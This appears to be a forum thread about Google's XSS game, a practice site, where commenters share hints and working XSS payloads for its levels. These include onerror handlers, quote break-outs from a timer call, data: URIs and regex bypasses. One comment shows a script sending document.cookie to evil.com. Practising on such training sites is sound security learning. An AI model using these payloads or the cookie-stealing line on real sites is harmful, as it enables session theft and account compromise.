Google's XSS game (xss-game.appspot.com)

Nice ! Thanks for sharing :-)

I hate the spoilers in the Facebook comments though.

The hint for level 3 reads:

  As before, using <script> ... as a payload won't work
  because the browser won't execute scripts added after the 
  page has loaded.

How do you solve level 3?

    https://xss-game.appspot.com/level3/frame#'><script>alert('bla')</script>

    https://xss-game.appspot.com/level3/frame#' onerror="alert('bla')">

Because you can't have tags inside of textarea. All data inside of textarea is interpreted as text.

What's the trivial solution to this? I also wound up hosting the malicious file on my personal server...

I used "//" to get around the http regex (but this requires using an https host as you mentioned), is there another way to get around the regex?

SPOILER: You need a way to defeat the regex (see other comments here). Then think about what the "foo" actually does (and read the error console).

gist.github.com serves https, so you can use it whenever you need something sent over https.

' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.

    startTimer('');foo();//');

add your alert to the img onload

In the text input I put:

3') + alert('

//dl.dropboxusercontent.com/u/18177522/google_xss_game/alert.js

data:text/javascript,alert('foo')

Just add a foo.js file to any of your GitHub repos, grab its raw URL and pass it through rawgit.com.

They provided a hosted callback in the clues. Just change foo to alert.

You don't need to:

data:text/javascript;base64,YWxlcnQoMTMzNyk=

If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.

There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.

Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.

You will be vulnerable to reflected XSS but not persistent XSS attacks.

Persistent attacks are generally considered to be more dangerous, but reflected attacks are still quite bad.

I think the real answer to this one is not really. Most of the possible attacks are either unrealistic or only possible if you're doing something stupid to begin with.

That said, there is still no excuse to trust user input. Always protect against XSS like you always protect against SQL injection.

Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.

just onerror="alert(1)" :)

My solution was:

     <img src="foo" onMouseOver="alert(33);"

Interesting to see so many people used onError instead.

Hello there.

How can you solve level 2 ? I used next sentence, but, it don't work.

<img src=x onerror=prompt(/xD/)>

Any suggest ?

Some of their products have bug trackers. That said, I submitted some fixes to their Android docs in the Android issue tracker years ago. Really obvious stuff like where their sample code would cause a crash due to trying to start a dialog with the wrong type of context, etc.. They never fixed them. So there is essentially no way. They apparently have a bug bounty system, but you would have to exploit their mistakes to do injection or something before the mistake would qualify.

Hey, thanks - it's a valid concern, though an important point (which isn't really well explained in the document) is that this payload will work even if the tag isn't properly terminated.

One of the reasons for using such broken payloads is to demonstrate that browsers will happily parse broken markup and that approaches such as removing "<.*>" won't be effective as a technique to prevent XSS (because such a regexp won't match an unterminated tag like the example you pointed out).

Still, it could at least use a better explanation. The documentation fairy will take a look!

Ahhh, that's what that was! http://snag.gy/43JI3.jpg

Hehe I immediately spotted it too :p

Hint: there are other URL schemes.

What payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms)

PS. Consider it reported, thanks!

Do you have a '+' in your string? In URL it's interpreted as a space, use '%2B' instead.

Thankyou. I was trying my payload but couldn't get it to work. I'm sure there's a better way to do it.

last hint helped me

Weird. It worked fine for me in chrome.

got the same problem, it only works with a https address !

I hope this isn't a spoiler, but remember there are other ways to load resources without an external request. You can pass that stage without any requests to external servers.

The regex is case sensitive. That's how I solved it.

I had to manually remove the https:// in front of the URL for it to work. The following error is:

[blocked] The page at 'xss-game' was loaded over HTTPS, but ran insecure content from 'script-url': this content should also be loaded over HTTPS.